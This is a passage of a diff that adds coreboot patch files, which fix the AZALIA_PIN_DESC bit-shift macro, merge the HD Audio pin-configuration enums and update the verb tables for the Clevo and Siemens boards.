High Definition Audio Specification, rev. 1.0a, page 178, + Figure 74. Configuration Data Structure. + +TEST=Timeless build using AZALIA_PIN_DESC() and without now produce the +same binary. + +Change-Id: Ia5a3431b70783cb88e866d0fd8ea5530100f3d52 +Signed-off-by: Nicholas Sudsgaard +Reviewed-on: https://review.coreboot.org/c/coreboot/+/80727 +Reviewed-by: Felix Singer +Reviewed-by: Michael Niewöhner +Reviewed-by: Nico Huber +Tested-by: build bot (Jenkins) +--- + src/include/device/azalia_device.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/include/device/azalia_device.h b/src/include/device/azalia_device.h +index f7c1448863..42807fdd46 100644 +--- a/src/include/device/azalia_device.h ++++ b/src/include/device/azalia_device.h +@@ -120,7 +120,7 @@ enum azalia_pin_misc { + #define AZALIA_PIN_DESC(conn, location2, location1, dev, type, color, misc, \ + association, sequence) \ + (((conn) << 30) | \ +- ((location2) << 27) | \ ++ ((location2) << 28) | \ + ((location1) << 24) | \ + ((dev) << 20) | \ + ((type) << 16) | \ +-- +2.39.5 + diff --git a/patches/coreboot-24.02.01/0006-include-device-Merge-enums-from-azalia_device.h-and-.patch b/patches/coreboot-24.02.01/0006-include-device-Merge-enums-from-azalia_device.h-and-.patch new file mode 100644 index 000000000..4241a8e0a --- /dev/null +++ b/patches/coreboot-24.02.01/0006-include-device-Merge-enums-from-azalia_device.h-and-.patch @@ -0,0 +1,552 @@ +From 3ef328a60902ae7fdf14786c3088522feb4df044 Mon Sep 17 00:00:00 2001 +From: Nicholas Sudsgaard +Date: Thu, 22 Feb 2024 13:33:15 +0900 +Subject: [PATCH 06/11] include/device: Merge enums from azalia_device.h and + azalia.h +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +We were keeping 2 copies of the same thing (albeit there were some +slight differences). As azalia_device.h is used much more in the +codebase this was kept as the base and then some of the nice features +of azalia.h were incorporated. + +The significant changes are: + - All enum names now use the `AZALIA_` prefix. + +This also drops the AzaliaPinConfiguration enum as it was never used +since added in 2013. + +Change-Id: Ie874b083a18963679981a9cd2b25d123890d628e +Signed-off-by: Nicholas Sudsgaard +Reviewed-on: https://review.coreboot.org/c/coreboot/+/80695 +Reviewed-by: Nico Huber +Tested-by: build bot (Jenkins) +Reviewed-by: Felix Singer +Reviewed-by: Michael Niewöhner +--- + src/include/device/azalia.h | 115 ------------- + src/include/device/azalia_device.h | 158 +++++++++--------- + .../clevo/tgl-u/variants/l140mu/hda_verb.c | 70 ++++---- + .../siemens/chili/variants/chili/hda_verb.c | 73 ++++---- + 4 files changed, 157 insertions(+), 259 deletions(-) + delete mode 100644 src/include/device/azalia.h + +diff --git a/src/include/device/azalia.h b/src/include/device/azalia.h +deleted file mode 100644 +index 24f91d9755..0000000000 +--- a/src/include/device/azalia.h ++++ /dev/null +@@ -1,115 +0,0 @@ +-/* SPDX-License-Identifier: GPL-2.0-only */ +-#ifndef AZALIA_H_ +-#define AZALIA_H_ +- +-/* +- * The tables found in this file are derived from the Intel High Definition +- * Audio Specification Revision 1.0a, published 17 June 2010 +- */ +- +-/* +- * Page 177: Default Pin Configuration +- */ +- +-enum AzaliaPinCfgPortConnectivity { +- AZALIA_PINCFG_PORT_JACK = 0, +- AZALIA_PINCFG_PORT_NC = 1, +- AZALIA_PINCFG_PORT_FIXED = 2, +- AZALIA_PINCFG_PORT_MULTIPLE = 3, +-}; +- +-enum AzaliaPinCfgLocationGross { +- AZALIA_PINCFG_LOCATION_EXTERNAL = 0x00, +- AZALIA_PINCFG_LOCATION_INTERNAL = 0x10, +- AZALIA_PINCFG_LOCATION_EXT_CHASSIS = 0x20, +- AZALIA_PINCFG_LOCATION_OTHER = 0x30, +-}; +- +-enum AzaliaPinCfgLocationFine { +- AZALIA_PINCFG_LOCATION_NOT_APPLICABLE = 0x00, +- AZALIA_PINCFG_LOCATION_REAR = 0x01, +- AZALIA_PINCFG_LOCATION_FRONT = 0x02, +- AZALIA_PINCFG_LOCATION_LEFT = 0x03, +- AZALIA_PINCFG_LOCATION_RIGHT = 0x04, +- AZALIA_PINCFG_LOCATION_TOP = 0x05, +- AZALIA_PINCFG_LOCATION_BOTTOM = 0x06, +-}; +- +-enum AzaliaPinCfgLocationSpecial { +- AZALIA_PINCFG_LOCATION_REAR_PANEL = 0x07, +- AZALIA_PINCFG_LOCATION_DRIVE_BAY = 0x08, +- AZALIA_PINCFG_LOCATION_RISER_CARD = 0x17, +- AZALIA_PINCFG_LOCATION_DIGITAL_DISPLAY = 0x18, +- AZALIA_PINCFG_LOCATION_ATAPI = 0x19, +- AZALIA_PINCFG_LOCATION_INSIDE_LID = 0x37, +- AZALIA_PINCFG_LOCATION_OUTSIDE_LID = 0x38, +-}; +- +-enum AzaliaPinCfgDefaultDevice { +- AZALIA_PINCFG_DEVICE_LINEOUT = 0x0, +- AZALIA_PINCFG_DEVICE_SPEAKER = 0x1, +- AZALIA_PINCFG_DEVICE_HP_OUT = 0x2, +- AZALIA_PINCFG_DEVICE_CD = 0x3, +- AZALIA_PINCFG_DEVICE_SPDIF_OUT = 0x4, +- AZALIA_PINCFG_DEVICE_DIGITAL_OUT = 0x5, +- AZALIA_PINCFG_DEVICE_MODEM_LINE = 0x6, +- AZALIA_PINCFG_DEVICE_MODEM_HANDSET = 0x7, +- AZALIA_PINCFG_DEVICE_LINEIN = 0x8, +- AZALIA_PINCFG_DEVICE_AUX = 0x9, +- AZALIA_PINCFG_DEVICE_MICROPHONE = 0xA, +- AZALIA_PINCFG_DEVICE_TELEPHONY = 0xB, +- AZALIA_PINCFG_DEVICE_SPDIF_IN = 0xC, +- AZALIA_PINCFG_DEVICE_DIGITAL_IN = 0xD, +- AZALIA_PINCFG_DEVICE_OTHER = 0xF, +-}; +- +-enum AzaliaPinCfgConnectionType { +- AZALIA_PINCFG_CONN_UNKNOWN = 0x0, +- AZALIA_PINCFG_CONN_MINI_HEADPHONE_JACK = 0x1, +- AZALIA_PINCFG_CONN_STEREO_PHONE_JACK = 0x2, +- AZALIA_PINCFG_CONN_INTERNAL_ATAPI = 0x3, +- AZALIA_PINCFG_CONN_RCA = 0x4, +- AZALIA_PINCFG_CONN_OPTICAL = 0x5, +- AZALIA_PINCFG_CONN_OTHER_DIGITAL = 0x6, +- AZALIA_PINCFG_CONN_OTHER_ANALOG = 0x7, +- AZALIA_PINCFG_CONN_DIN_PLUG = 0x8, +- AZALIA_PINCFG_CONN_XLR = 0x9, +- AZALIA_PINCFG_CONN_MODEM_RJ11 = 0xA, +- AZALIA_PINCFG_CONN_COMBINATION = 0xB, +- AZALIA_PINCFG_CONN_OTHER = 0xF, +-}; +- +-enum AzaliaPinCfgColor { +- AZALIA_PINCFG_COLOR_UNKNOWN = 0x0, +- AZALIA_PINCFG_COLOR_BLACK = 0x1, +- AZALIA_PINCFG_COLOR_GREY = 0x2, +- AZALIA_PINCFG_COLOR_BLUE = 0x3, +- AZALIA_PINCFG_COLOR_GREEN = 0x4, +- AZALIA_PINCFG_COLOR_RED = 0x5, +- AZALIA_PINCFG_COLOR_ORANGE = 0x6, +- AZALIA_PINCFG_COLOR_YELLOW = 0x7, +- AZALIA_PINCFG_COLOR_PURPLE = 0x8, +- AZALIA_PINCFG_COLOR_PINK = 0x9, +- AZALIA_PINCFG_COLOR_WHITE = 0xE, +- AZALIA_PINCFG_COLOR_OTHER = 0xF, +-}; +- +-enum AzaliaPinCfgMisc { +- AZALIA_PINCFG_MISC_IGNORE_PRESENCE = 0x1, +-}; +- +-union AzaliaPinConfiguration { +- unsigned int value; +- struct __attribute__((aligned(4), packed)) { +- enum AzaliaPinCfgPortConnectivity port:2; +- unsigned char location:6; +- enum AzaliaPinCfgDefaultDevice device:4; +- enum AzaliaPinCfgConnectionType connection:4; +- enum AzaliaPinCfgColor color:4; +- unsigned char misc:4; +- unsigned char association:4; +- unsigned char sequence:4; +- }; +-}; +- +-#endif /* AZALIA_H_ */ +diff --git a/src/include/device/azalia_device.h b/src/include/device/azalia_device.h +index 42807fdd46..4d9298cf95 100644 +--- a/src/include/device/azalia_device.h ++++ b/src/include/device/azalia_device.h +@@ -4,8 +4,8 @@ + #define DEVICE_AZALIA_H + + #include +-#include + #include ++#include + #include + + #define HDA_GCAP_REG 0x00 +@@ -36,98 +36,104 @@ extern const u32 cim_verb_data_size; + extern const u32 pc_beep_verbs[]; + extern const u32 pc_beep_verbs_size; + ++/* ++ * The tables found in this file are derived from the Intel High Definition ++ * Audio Specification Revision 1.0a, published 17 June 2010 ++ * ++ * 7.3.3.31 Configuration Default (page 177) ++ */ + enum azalia_pin_connection { +- JACK = 0, +- NC, +- INTEGRATED, +- JACK_AND_INTEGRATED, ++ AZALIA_JACK = 0x0, ++ AZALIA_NC = 0x1, ++ AZALIA_INTEGRATED = 0x2, ++ AZALIA_JACK_AND_INTEGRATED = 0x3, + }; + +-enum azalia_pin_color { +- COLOR_UNKNOWN = 0, +- BLACK, +- GREY, +- BLUE, +- GREEN, +- RED, +- ORANGE, +- YELLOW, +- PURPLE, +- PINK, +- WHITE = 0xe, +- COLOR_OTHER = 0xf, ++enum azalia_pin_location_gross { ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS = 0x0, ++ AZALIA_INTERNAL = 0x1, ++ AZALIA_SEPARATE_CHASSIS = 0x2, ++ AZALIA_LOCATION_OTHER = 0x3, + }; + +-enum azalia_pin_type { +- TYPE_UNKNOWN = 0, +- STEREO_MONO_1_8, +- STEREO_MONO_1_4, +- ATAPI, +- RCA, +- OPTICAL, +- OTHER_DIGITAL, +- OTHER_ANALOG, +- MULTICHANNEL_ANALOG, +- XLR, +- RJ_11, +- COMBINATION, +- TYPE_OTHER = 0xf ++enum azalia_pin_location_geometric { ++ AZALIA_GEOLOCATION_NA = 0x0, ++ AZALIA_REAR = 0x1, ++ AZALIA_FRONT = 0x2, ++ AZALIA_LEFT = 0x3, ++ AZALIA_RIGHT = 0x4, ++ AZALIA_TOP = 0x5, ++ AZALIA_BOTTOM = 0x6, ++ AZALIA_SPECIAL7 = 0x7, ++ AZALIA_SPECIAL8 = 0x8, ++ AZALIA_SPECIAL9 = 0x9, + }; + + enum azalia_pin_device { +- LINE_OUT = 0, +- SPEAKER, +- HP_OUT, +- CD, +- SPDIF_OUT, +- DIGITAL_OTHER_OUT, +- MODEM_LINE_SIDE, +- MODEM_HANDSET_SIDE, +- LINE_IN, +- AUX, +- MIC_IN, +- TELEPHONY, +- SPDIF_IN, +- DIGITAL_OTHER_IN, +- DEVICE_OTHER = 0xf, ++ AZALIA_LINE_OUT = 0x0, ++ AZALIA_SPEAKER = 0x1, ++ AZALIA_HP_OUT = 0x2, ++ AZALIA_CD = 0x3, ++ AZALIA_SPDIF_OUT = 0x4, ++ AZALIA_DIGITAL_OTHER_OUT = 0x5, ++ AZALIA_MODEM_LINE_SIDE = 0x6, ++ AZALIA_MODEM_HANDSET_SIDE = 0x7, ++ AZALIA_LINE_IN = 0x8, ++ AZALIA_AUX = 0x9, ++ AZALIA_MIC_IN = 0xa, ++ AZALIA_TELEPHONY = 0xb, ++ AZALIA_SPDIF_IN = 0xc, ++ AZALIA_DIGITAL_OTHER_IN = 0xd, ++ AZALIA_DEVICE_OTHER = 0xf, + }; + +-enum azalia_pin_location_1 { +- NA = 0, +- REAR, +- FRONT, +- LEFT, +- RIGHT, +- TOP, +- BOTTOM, +- SPECIAL7, +- SPECIAL8, +- SPECIAL9, ++enum azalia_pin_type { ++ AZALIA_TYPE_UNKNOWN = 0x0, ++ AZALIA_STEREO_MONO_1_8 = 0x1, ++ AZALIA_STEREO_MONO_1_4 = 0x2, ++ AZALIA_ATAPI_INTERNAL = 0x3, ++ AZALIA_RCA = 0x4, ++ AZALIA_OPTICAL = 0x5, ++ AZALIA_OTHER_DIGITAL = 0x6, ++ AZALIA_OTHER_ANALOG = 0x7, ++ AZALIA_MULTICHANNEL_ANALOG = 0x8, ++ AZALIA_XLR = 0x9, ++ AZALIA_RJ_11 = 0xa, ++ AZALIA_COMBINATION = 0xb, ++ AZALIA_TYPE_OTHER = 0xf, + }; + +-enum azalia_pin_location_2 { +- EXTERNAL_PRIMARY_CHASSIS = 0, +- INTERNAL, +- SEPARATE_CHASSIS, +- LOCATION_OTHER ++enum azalia_pin_color { ++ AZALIA_COLOR_UNKNOWN = 0x0, ++ AZALIA_BLACK = 0x1, ++ AZALIA_GREY = 0x2, ++ AZALIA_BLUE = 0x3, ++ AZALIA_GREEN = 0x4, ++ AZALIA_RED = 0x5, ++ AZALIA_ORANGE = 0x6, ++ AZALIA_YELLOW = 0x7, ++ AZALIA_PURPLE = 0x8, ++ AZALIA_PINK = 0x9, ++ AZALIA_WHITE = 0xe, ++ AZALIA_COLOR_OTHER = 0xf, + }; + + enum azalia_pin_misc { +- JACK_PRESENCE_DETECT = 0, +- NO_JACK_PRESENCE_DETECT, ++ AZALIA_JACK_PRESENCE_DETECT = 0x0, ++ AZALIA_NO_JACK_PRESENCE_DETECT = 0x1, + }; + +-#define AZALIA_PIN_DESC(conn, location2, location1, dev, type, color, misc, \ +- association, sequence) \ +- (((conn) << 30) | \ +- ((location2) << 28) | \ +- ((location1) << 24) | \ +- ((dev) << 20) | \ +- ((type) << 16) | \ +- ((color) << 12) | \ +- ((misc) << 8) | \ +- ((association) << 4) | \ +- ((sequence) << 0)) ++#define AZALIA_PIN_DESC(conn, location2, location1, dev, type, color, misc, \ ++ association, sequence) \ ++ ((((conn) << 30) & 0xc0000000) | \ ++ (((location2) << 28) & 0x30000000) | \ ++ (((location1) << 24) & 0x0f000000) | \ ++ (((dev) << 20) & 0x00f00000) | \ ++ (((type) << 16) & 0x000f0000) | \ ++ (((color) << 12) & 0x0000f000) | \ ++ (((misc) << 8) & 0x00000f00) | \ ++ (((association) << 4) & 0x000000f0) | \ ++ (((sequence) << 0) & 0x0000000f)) + + #define AZALIA_ARRAY_SIZES const u32 pc_beep_verbs_size = \ + ARRAY_SIZE(pc_beep_verbs); \ +diff --git a/src/mainboard/clevo/tgl-u/variants/l140mu/hda_verb.c b/src/mainboard/clevo/tgl-u/variants/l140mu/hda_verb.c +index 0ff24a2c79..2e1a5799d7 100644 +--- a/src/mainboard/clevo/tgl-u/variants/l140mu/hda_verb.c ++++ b/src/mainboard/clevo/tgl-u/variants/l140mu/hda_verb.c +@@ -12,61 +12,61 @@ const u32 cim_verb_data[] = { + + /* Microphone (display lid), vendor value: 0x90a60130 */ + AZALIA_PIN_CFG(0, 0x12, AZALIA_PIN_DESC( +- INTEGRATED, +- LOCATION_OTHER, /* vendor: SEPARATE_CHASSIS */ +- SPECIAL7, /* lid, vendor: NA */ +- MIC_IN, +- OTHER_DIGITAL, +- COLOR_UNKNOWN, +- NO_JACK_PRESENCE_DETECT, ++ AZALIA_INTEGRATED, ++ AZALIA_LOCATION_OTHER, /* vendor: AZALIA_SEPARATE_CHASSIS */ ++ AZALIA_SPECIAL7, /* lid, vendor: AZALIA_GEOLOCATION_NA*/ ++ AZALIA_MIC_IN, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, + 3, 0) + ), + + /* Integrated speakers, vendor value: 0x90170110 */ + AZALIA_PIN_CFG(0, 0x14, AZALIA_PIN_DESC( +- INTEGRATED, +- LOCATION_OTHER, /* vendor: SEPARATE_CHASSIS */ +- BOTTOM, /* vendor: NA */ +- SPEAKER, +- OTHER_ANALOG, +- COLOR_UNKNOWN, +- NO_JACK_PRESENCE_DETECT, ++ AZALIA_INTEGRATED, ++ AZALIA_LOCATION_OTHER, /* vendor: AZALIA_SEPARATE_CHASSIS */ ++ AZALIA_BOTTOM, /* vendor: AZALIA_GEOLOCATION_NA*/ ++ AZALIA_SPEAKER, ++ AZALIA_OTHER_ANALOG, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, + 1, 0) + ), + + /* Headphones, vendor value: 0x02211020 */ + AZALIA_PIN_CFG(0, 0x15, AZALIA_PIN_DESC( +- JACK, +- EXTERNAL_PRIMARY_CHASSIS, +- RIGHT, /* vendor: FRONT */ +- HP_OUT, +- STEREO_MONO_1_8, +- BLACK, +- JACK_PRESENCE_DETECT, ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS, ++ AZALIA_RIGHT, /* vendor: AZALIA_FRONT */ ++ AZALIA_HP_OUT, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, + 2, 0) + ), + + /* ext. Microphone, vendor value: 0x411111f0, linux override: 0x01a1913c */ + AZALIA_PIN_CFG(0, 0x1a, AZALIA_PIN_DESC( +- JACK, +- EXTERNAL_PRIMARY_CHASSIS, +- RIGHT, /* vendor: REAR */ +- MIC_IN, +- STEREO_MONO_1_8, +- BLACK, /* vendor: PINK */ +- NO_JACK_PRESENCE_DETECT, ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS, ++ AZALIA_RIGHT, /* vendor: AZALIA_REAR */ ++ AZALIA_MIC_IN, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, /* vendor: AZALIA_PINK */ ++ AZALIA_NO_JACK_PRESENCE_DETECT, + 3, 12) + ), + + /* PCBEEP, vendor value: 0x41748245 */ + AZALIA_PIN_CFG(0, 0x1d, AZALIA_PIN_DESC( +- INTEGRATED, /* vendor: NC */ +- INTERNAL, /* vendor: EXTERNAL_PRIMARY_CHASSIS */ +- NA, /* vendor: REAR */ +- DEVICE_OTHER, /* vendor: MODEM_HANDSET_SIDE */ +- OTHER_ANALOG, /* vendor: RCA */ +- COLOR_UNKNOWN, /* vendor: PURPLE */ +- NO_JACK_PRESENCE_DETECT, /* vendor: 2 */ ++ AZALIA_INTEGRATED, /* vendor: AZALIA_NC */ ++ AZALIA_INTERNAL, /* vendor: AZALIA_EXTERNAL_PRIMARY_CHASSIS */ ++ AZALIA_GEOLOCATION_NA, /* vendor: AZALIA_REAR */ ++ AZALIA_DEVICE_OTHER, /* vendor: AZALIA_MODEM_HANDSET_SIDE */ ++ AZALIA_OTHER_ANALOG, /* vendor: AZALIA_RCA */ ++ AZALIA_COLOR_UNKNOWN, /* vendor: AZALIA_PURPLE */ ++ AZALIA_NO_JACK_PRESENCE_DETECT, /* vendor: 2 */ + 4, 5) + ), + +diff --git a/src/mainboard/siemens/chili/variants/chili/hda_verb.c b/src/mainboard/siemens/chili/variants/chili/hda_verb.c +index f0e403acd0..7fdb884465 100644 +--- a/src/mainboard/siemens/chili/variants/chili/hda_verb.c ++++ b/src/mainboard/siemens/chili/variants/chili/hda_verb.c +@@ -1,7 +1,6 @@ + /* SPDX-License-Identifier: GPL-2.0-only */ + + #include +-#include + + const u32 cim_verb_data[] = { + /* coreboot specific header */ +@@ -15,31 +14,36 @@ const u32 cim_verb_data[] = { + AZALIA_SUBVENDOR(0, 0x110a4097), + + /* Pin Widget Verb Table */ +- AZALIA_PIN_CFG(0, 0x14, /* 0x14 Speaker OUT */ +- (AZALIA_PINCFG_PORT_FIXED << 30) | +- (AZALIA_PINCFG_LOCATION_INTERNAL << 24) | +- (AZALIA_PINCFG_DEVICE_SPEAKER << 20) | +- (AZALIA_PINCFG_CONN_OTHER_ANALOG << 16) | +- (AZALIA_PINCFG_MISC_IGNORE_PRESENCE << 8) | +- (1 << 4) | 0 +- ), +- AZALIA_PIN_CFG(0, 0x21, /* 0x21 Headphone OUT */ +- (AZALIA_PINCFG_PORT_JACK << 30) | +- (AZALIA_PINCFG_LOCATION_FRONT << 24) | +- (AZALIA_PINCFG_DEVICE_HP_OUT << 20) | +- (AZALIA_PINCFG_CONN_COMBINATION << 16) | +- (AZALIA_PINCFG_COLOR_BLACK << 12) | +- (2 << 4) | 0 +- ), +- AZALIA_PIN_CFG(0, 0x19, /* 0x19 MIC2 */ +- (AZALIA_PINCFG_PORT_JACK << 30) | +- (AZALIA_PINCFG_LOCATION_FRONT << 24) | +- (AZALIA_PINCFG_DEVICE_MICROPHONE << 20) | +- (AZALIA_PINCFG_CONN_COMBINATION << 16) | +- (AZALIA_PINCFG_COLOR_BLACK << 12) | +- (AZALIA_PINCFG_MISC_IGNORE_PRESENCE << 8) | +- (3 << 4) | 0 +- ), ++ AZALIA_PIN_CFG(0, 0x14, AZALIA_PIN_DESC( /* 0x14 Speaker OUT */ ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_GEOLOCATION_NA, ++ AZALIA_SPEAKER, ++ AZALIA_OTHER_ANALOG, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x21, AZALIA_PIN_DESC( /* 0x21 Headphone OUT */ ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS, ++ AZALIA_FRONT, ++ AZALIA_HP_OUT, ++ AZALIA_COMBINATION, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 2, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x19, AZALIA_PIN_DESC( /* 0x19 MIC2 */ ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS, ++ AZALIA_FRONT, ++ AZALIA_MIC_IN, ++ AZALIA_COMBINATION, ++ AZALIA_BLACK, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 3, 0 ++ )), + + AZALIA_PIN_CFG(0, 0x12, AZALIA_PIN_CFG_NC(0)), /* 0x12 Digital MIC */ + AZALIA_PIN_CFG(0, 0x17, AZALIA_PIN_CFG_NC(1)), /* 0x17 Mono OUT */ +@@ -61,13 +65,16 @@ const u32 cim_verb_data[] = { + 0x20878101, + AZALIA_PIN_CFG(2, 0x05, AZALIA_PIN_CFG_NC(0)), + AZALIA_PIN_CFG(2, 0x06, AZALIA_PIN_CFG_NC(1)), +- AZALIA_PIN_CFG(2, 0x07, +- (AZALIA_PINCFG_PORT_JACK << 30) | +- (AZALIA_PINCFG_LOCATION_REAR_PANEL << 24) | +- (AZALIA_PINCFG_DEVICE_DIGITAL_OUT << 20) | +- (AZALIA_PINCFG_CONN_OTHER_DIGITAL << 16) | +- (1 << 4) | 0 +- ), ++ AZALIA_PIN_CFG(2, 0x07, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS, ++ AZALIA_SPECIAL7, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), + /* Disable 2nd & 3rd pin widgets again */ + 0x20878100, + 0x20878100, +-- +2.39.5 + diff --git a/patches/coreboot-24.02.01/0007-include-device-azalia_device.h-Merge-location1-and-l.patch b/patches/coreboot-24.02.01/0007-include-device-azalia_device.h-Merge-location1-and-l.patch new file mode 100644 index 000000000..3115e2b55 --- /dev/null +++ b/patches/coreboot-24.02.01/0007-include-device-azalia_device.h-Merge-location1-and-l.patch @@ -0,0 +1,194 @@ +From 907aa8bfc5d1e87a5c269c34888aecdf4af3d6aa Mon Sep 17 00:00:00 2001 +From: Nicholas Sudsgaard +Date: Sun, 25 Feb 2024 09:32:33 +0900 +Subject: [PATCH 07/11] include/device/azalia_device.h: Merge location1 and + location2 +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +This changes the location to be expressed as a combination of ORs. This +allows aliases for special locations. + +For example, `AZALIA_REAR_PANEL` is easier to read than +`AZALIA_EXTERNAL_PRIMARY_CHASSIS, AZALIA_SPECIAL7`. + +References: + - Intel High Definition Audio Specification, rev. 1.0a, page 180, + Table 110. Location. + +Change-Id: I5a61a37ed70027700f07f1532c500f04d7a16ce1 +Signed-off-by: Nicholas Sudsgaard +Reviewed-on: https://review.coreboot.org/c/coreboot/+/80740 +Tested-by: build bot (Jenkins) +Reviewed-by: Michael Niewöhner +Reviewed-by: Nico Huber +Reviewed-by: Felix Singer +--- + src/include/device/azalia_device.h | 36 +++++++++++-------- + .../clevo/tgl-u/variants/l140mu/hda_verb.c | 17 ++++----- + .../siemens/chili/variants/chili/hda_verb.c | 10 ++---- + 3 files changed, 32 insertions(+), 31 deletions(-) + +diff --git a/src/include/device/azalia_device.h b/src/include/device/azalia_device.h +index 4d9298cf95..1fc0baf49b 100644 +--- a/src/include/device/azalia_device.h ++++ b/src/include/device/azalia_device.h +@@ -50,10 +50,10 @@ enum azalia_pin_connection { + }; + + enum azalia_pin_location_gross { +- AZALIA_EXTERNAL_PRIMARY_CHASSIS = 0x0, +- AZALIA_INTERNAL = 0x1, +- AZALIA_SEPARATE_CHASSIS = 0x2, +- AZALIA_LOCATION_OTHER = 0x3, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS = 0x00, ++ AZALIA_INTERNAL = 0x10, ++ AZALIA_SEPARATE_CHASSIS = 0x20, ++ AZALIA_LOCATION_OTHER = 0x30, + }; + + enum azalia_pin_location_geometric { +@@ -69,6 +69,16 @@ enum azalia_pin_location_geometric { + AZALIA_SPECIAL9 = 0x9, + }; + ++enum azalia_pin_location_special { ++ AZALIA_REAR_PANEL = AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_SPECIAL7, ++ AZALIA_DRIVE_BAY = AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_SPECIAL8, ++ AZALIA_RISER = AZALIA_INTERNAL | AZALIA_SPECIAL7, ++ AZALIA_DIGITAL_DISPLAY = AZALIA_INTERNAL | AZALIA_SPECIAL8, ++ AZALIA_ATAPI = AZALIA_INTERNAL | AZALIA_SPECIAL9, ++ AZALIA_MOBILE_LID_INSIDE = AZALIA_LOCATION_OTHER | AZALIA_SPECIAL7, ++ AZALIA_MOBILE_LID_OUTSIDE = AZALIA_LOCATION_OTHER | AZALIA_SPECIAL8, ++}; ++ + enum azalia_pin_device { + AZALIA_LINE_OUT = 0x0, + AZALIA_SPEAKER = 0x1, +@@ -123,16 +133,14 @@ enum azalia_pin_misc { + AZALIA_NO_JACK_PRESENCE_DETECT = 0x1, + }; + +-#define AZALIA_PIN_DESC(conn, location2, location1, dev, type, color, misc, \ +- association, sequence) \ +- ((((conn) << 30) & 0xc0000000) | \ +- (((location2) << 28) & 0x30000000) | \ +- (((location1) << 24) & 0x0f000000) | \ +- (((dev) << 20) & 0x00f00000) | \ +- (((type) << 16) & 0x000f0000) | \ +- (((color) << 12) & 0x0000f000) | \ +- (((misc) << 8) & 0x00000f00) | \ +- (((association) << 4) & 0x000000f0) | \ ++#define AZALIA_PIN_DESC(conn, location, dev, type, color, misc, association, sequence) \ ++ ((((conn) << 30) & 0xc0000000) | \ ++ (((location) << 24) & 0x3f000000) | \ ++ (((dev) << 20) & 0x00f00000) | \ ++ (((type) << 16) & 0x000f0000) | \ ++ (((color) << 12) & 0x0000f000) | \ ++ (((misc) << 8) & 0x00000f00) | \ ++ (((association) << 4) & 0x000000f0) | \ + (((sequence) << 0) & 0x0000000f)) + + #define AZALIA_ARRAY_SIZES const u32 pc_beep_verbs_size = \ +diff --git a/src/mainboard/clevo/tgl-u/variants/l140mu/hda_verb.c b/src/mainboard/clevo/tgl-u/variants/l140mu/hda_verb.c +index 2e1a5799d7..db9da04235 100644 +--- a/src/mainboard/clevo/tgl-u/variants/l140mu/hda_verb.c ++++ b/src/mainboard/clevo/tgl-u/variants/l140mu/hda_verb.c +@@ -13,8 +13,7 @@ const u32 cim_verb_data[] = { + /* Microphone (display lid), vendor value: 0x90a60130 */ + AZALIA_PIN_CFG(0, 0x12, AZALIA_PIN_DESC( + AZALIA_INTEGRATED, +- AZALIA_LOCATION_OTHER, /* vendor: AZALIA_SEPARATE_CHASSIS */ +- AZALIA_SPECIAL7, /* lid, vendor: AZALIA_GEOLOCATION_NA*/ ++ AZALIA_MOBILE_LID_INSIDE, /* vendor: AZALIA_SEPARATE_CHASSIS */ + AZALIA_MIC_IN, + AZALIA_OTHER_DIGITAL, + AZALIA_COLOR_UNKNOWN, +@@ -25,8 +24,7 @@ const u32 cim_verb_data[] = { + /* Integrated speakers, vendor value: 0x90170110 */ + AZALIA_PIN_CFG(0, 0x14, AZALIA_PIN_DESC( + AZALIA_INTEGRATED, +- AZALIA_LOCATION_OTHER, /* vendor: AZALIA_SEPARATE_CHASSIS */ +- AZALIA_BOTTOM, /* vendor: AZALIA_GEOLOCATION_NA*/ ++ AZALIA_LOCATION_OTHER | AZALIA_BOTTOM, /* vendor: AZALIA_SEPARATE_CHASSIS */ + AZALIA_SPEAKER, + AZALIA_OTHER_ANALOG, + AZALIA_COLOR_UNKNOWN, +@@ -37,8 +35,8 @@ const u32 cim_verb_data[] = { + /* Headphones, vendor value: 0x02211020 */ + AZALIA_PIN_CFG(0, 0x15, AZALIA_PIN_DESC( + AZALIA_JACK, +- AZALIA_EXTERNAL_PRIMARY_CHASSIS, +- AZALIA_RIGHT, /* vendor: AZALIA_FRONT */ ++ /* vendor: AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_FRONT */ ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, + AZALIA_HP_OUT, + AZALIA_STEREO_MONO_1_8, + AZALIA_BLACK, +@@ -49,8 +47,8 @@ const u32 cim_verb_data[] = { + /* ext. Microphone, vendor value: 0x411111f0, linux override: 0x01a1913c */ + AZALIA_PIN_CFG(0, 0x1a, AZALIA_PIN_DESC( + AZALIA_JACK, +- AZALIA_EXTERNAL_PRIMARY_CHASSIS, +- 